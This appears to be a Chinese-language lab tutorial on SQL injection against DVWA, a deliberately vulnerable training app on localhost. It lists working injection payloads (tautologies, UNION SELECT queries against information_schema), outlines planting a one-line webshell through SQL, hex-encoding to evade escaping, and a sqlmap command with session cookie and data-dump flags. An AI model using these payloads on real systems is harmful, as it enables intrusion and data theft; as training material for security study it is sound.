【渗透测试-web安全】DVWA-SQL注入

【渗透测试-web安全】DVWA-SQL注入

  • 一、登录系统
  • 二、内容分析
  • 三、实操
  • 四、内容进阶

一、登录系统

登录到系统设置好对应的安全级别,我们点击SQL打开,任意输入一个ID序号反馈一下内容:

【渗透测试-web安全】DVWA-SQL注入_第1张图片

二、内容分析

我们对内容进行分析可以知道我们输入userID之后系统会自动入库查找对应的用户并反馈用户的数据到前端
我们可以猜测系统可能使用的SQL语句:
	SSELECT * FROM user WHERE user_id='$id'
因此我们构建注入的POC方法:
		可能的SQL语句	注入实例
		SELECT username FROM user WHERE user_id = $id	SELECT username FROM user WHERE user_id = 1 or 1=1 
		SELECT username FROM user WHERE user_id = '$id'	SELECT username FROM user WHERE user_id = 1 'or' 1 '=' 1 
		SELECT username FROM user WHERE user_id = "$id"	SELECT username FROM user WHERE user_id = 1 "or" 1 "=" 1

三、实操

我们分别使用构造的SQL语句进行测试 当使用1 ‘or’ 1 ‘=’ 1时出现注入:
【渗透测试-web安全】DVWA-SQL注入_第2张图片
从而我们确定了系统的SQL可能形式:SELECT username FROM user WHERE user_id = ‘$id’
MYsql常见的注释语句:
#:单行注释
–空格:后面的内容直接忽略
/**/:注释中间的内容
我们有时候能够利用Mysql的注释语句将系统原始的SQL语句进行重构或者意义切换,从而构建出符合我们需求的SQL语句
结合上面的内容我们构造一个查询数据库名称的SQL注入语句:
1’ union select @@version ,@@datadir–:显示数据库的数据路径
【渗透测试-web安全】DVWA-SQL注入_第3张图片
1’ union SELECT user(), database()-- :查询数据库名称
【渗透测试-web安全】DVWA-SQL注入_第4张图片
1’ union SELECT 1, table_name from information_schema.tables where table_schema=‘dvwa’-- :查询表名
【渗透测试-web安全】DVWA-SQL注入_第5张图片
我们通过构建SQL语句查询任何我们想要查询的数据内容,或者插入数据库我们任何想插入的数据。
我们可以通过对数据库插入一句话木马等信息能够执行对应的脚本
构建的基本思路是首先利用各种报错,获取系统的绝对路径
然后利用SQL语句写入一句话木马到对应的文件中,通过访问对应的文件就能够执行一句话木马
注意当某些字符串被转义的时候我们是可以使用HAX编码进行绕过 如dvwa用0x64767761代替
SQLmap扫描使用:
原始网址为:http://localhost/dvwa/vulnerabilities/sqli/?id=&Submit=Submit#
SQLmap使用语句:python2 sqlmap.py -u “http://localhost/dvwa/vulnerabilities/sqli/” --data “id=1&Submit=Submit” -p “id” --cookie “security=medium; Pycharm-e029d31e=f06790ed-69d6-4ec0-a540-cc9a5281ce7f; PHPSESSID=aafsqsrvc2639i7b1tu2h622vd”
其中 -u指网址 --data 指传入的参数 -p 指检测SQL注入点 --cookie 指登录的cookie
【渗透测试-web安全】DVWA-SQL注入_第6张图片

四、内容进阶

当注入的点和返回的点不在同一个页面时我们可以使用–second-order参数指定对应的返回url

-D 指定数据库 -T指定表名 -C指定列表 --dump参数指将数据导出

–current-db 显示当前数据库 -v 输出详细信息有少到多1-6 --level 表示等级

SQL盲注:
	基本概念:数据库中的执行结果不会反馈回显到页面上,页面上之后显示真和假两种状态。
	基本实现:通过布尔型数据使用SQL语句拆解返回真假类型,然后使用二分法判断正确内容。通过延时型,执行某些延时的函数进行前台判断是否已经被执行,从而能够判断某些函数是否已经成功执行,同时也能通过if语句确定某些内容的真假。

你可能感兴趣的:(网络安全)